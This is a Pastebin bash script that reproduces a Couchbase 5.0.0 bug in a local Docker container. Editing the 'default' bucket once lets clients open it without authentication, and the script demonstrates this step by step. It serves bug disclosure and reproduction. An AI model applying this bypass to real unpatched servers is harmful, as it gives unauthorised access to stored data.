Guest User

Untitled

a guest
Dec 10th, 2017
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.18 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. # Couchbase 5.0.0 "edit-to-free" Security Bug
  4. # ===========================================
  5. #
  6. # Couchbase 5 introduced RBAC. So clients always have to provide an
  7. # authentication to use access on any bucket. But in case of the 'default'
  8. # bucket, if we edit the bucket once, clients can access without
  9. # authentication.
  10. #
  11. # Heungsub Lee <sub@subl.ee>
  12. #
  13.  
  14. set -euo pipefail
  15.  
  16. # only 'default' bucket has this problem
  17. CB_BUCKET='default'
  18.  
  19. # create new couchbase 5.0
  20. docker run -d --name=cb5 \
  21. -p 8091-8094:8091-8094 -p 11210:11210 \
  22. couchbase:enterprise-5.0.0
  23.  
  24. trap finalize EXIT
  25.  
  26. finalize() {
  27. docker rm -f cb5
  28. }
  29.  
  30. # wait for couchbase ready
  31. sleep 10
  32.  
  33. # init new cluster
  34. docker exec cb5 mkdir -p /data/data
  35. docker exec cb5 mkdir -p /data/index
  36. docker exec cb5 chown couchbase /data/data
  37. docker exec cb5 chown couchbase /data/index
  38.  
  39. docker exec cb5 /opt/couchbase/bin/couchbase-cli node-init \
  40. --cluster='127.0.0.1:8091' \
  41. --user='Administrator' \
  42. --password='password' \
  43. --node-init-data-path='/data/data' \
  44. --node-init-index-path='/data/index'
  45.  
  46. docker exec cb5 /opt/couchbase/bin/couchbase-cli cluster-init \
  47. --cluster='127.0.0.1:8091' \
  48. --cluster-username='Administrator' \
  49. --cluster-password='PaSsWoRd' \
  50. --cluster-port='8091' \
  51. --cluster-ramsize='512' \
  52. --cluster-index-ramsize='256' \
  53. --cluster-fts-ramsize='256' \
  54. --index-storage-setting='default' \
  55. --services='data,index,query'
  56.  
  57. docker exec cb5 /opt/couchbase/bin/couchbase-cli setting-cluster \
  58. --cluster='127.0.0.1:8091' \
  59. --user='Administrator' \
  60. --password='PaSsWoRd' \
  61. --cluster-name='test'
  62.  
  63. # create new bucket 'default'
  64. docker exec cb5 /opt/couchbase/bin/couchbase-cli bucket-create \
  65. --cluster='127.0.0.1:8091' \
  66. --user='Administrator' \
  67. --password='PaSsWoRd' \
  68. --bucket="$CB_BUCKET" \
  69. --bucket-ramsize='512' \
  70. --bucket-replica='0' \
  71. --bucket-type='couchbase' \
  72. --bucket-priority='high' \
  73. --bucket-eviction-policy='fullEviction' \
  74. --enable-flush='1' \
  75. --enable-index-replica='0' \
  76. --conflict-resolution='sequence' \
  77. --wait
  78.  
  79. # 1. not possible to get bucket without auth
  80. echo
  81. echo '========================================================================'
  82. echo ' 1. not possible to get bucket without auth'
  83. echo '========================================================================'
  84. cat <<EOF | python || true
  85. from couchbase.bucket import Bucket
  86. print(Bucket('couchbase://127.0.0.1/$CB_BUCKET'))
  87. EOF
  88.  
  89. # 2. edit bucket
  90. echo
  91. echo '========================================================================'
  92. echo ' 2. edit bucket'
  93. echo '========================================================================'
  94. docker exec cb5 /opt/couchbase/bin/couchbase-cli bucket-edit \
  95. --cluster='127.0.0.1:8091' \
  96. --user='Administrator' \
  97. --password='PaSsWoRd' \
  98. --bucket="$CB_BUCKET"
  99.  
  100. # 3. now we can get bucket without auth
  101. echo
  102. echo '========================================================================'
  103. echo ' 3. now we can get bucket without auth'
  104. echo '========================================================================'
  105. # if the problem is not reproduced, here fails with non-zero exit code.
  106. cat <<EOF | python
  107. from couchbase.bucket import Bucket
  108. print(Bucket('couchbase://127.0.0.1/$CB_BUCKET'))
  109. EOF
Add Comment
Please, Sign In to add comment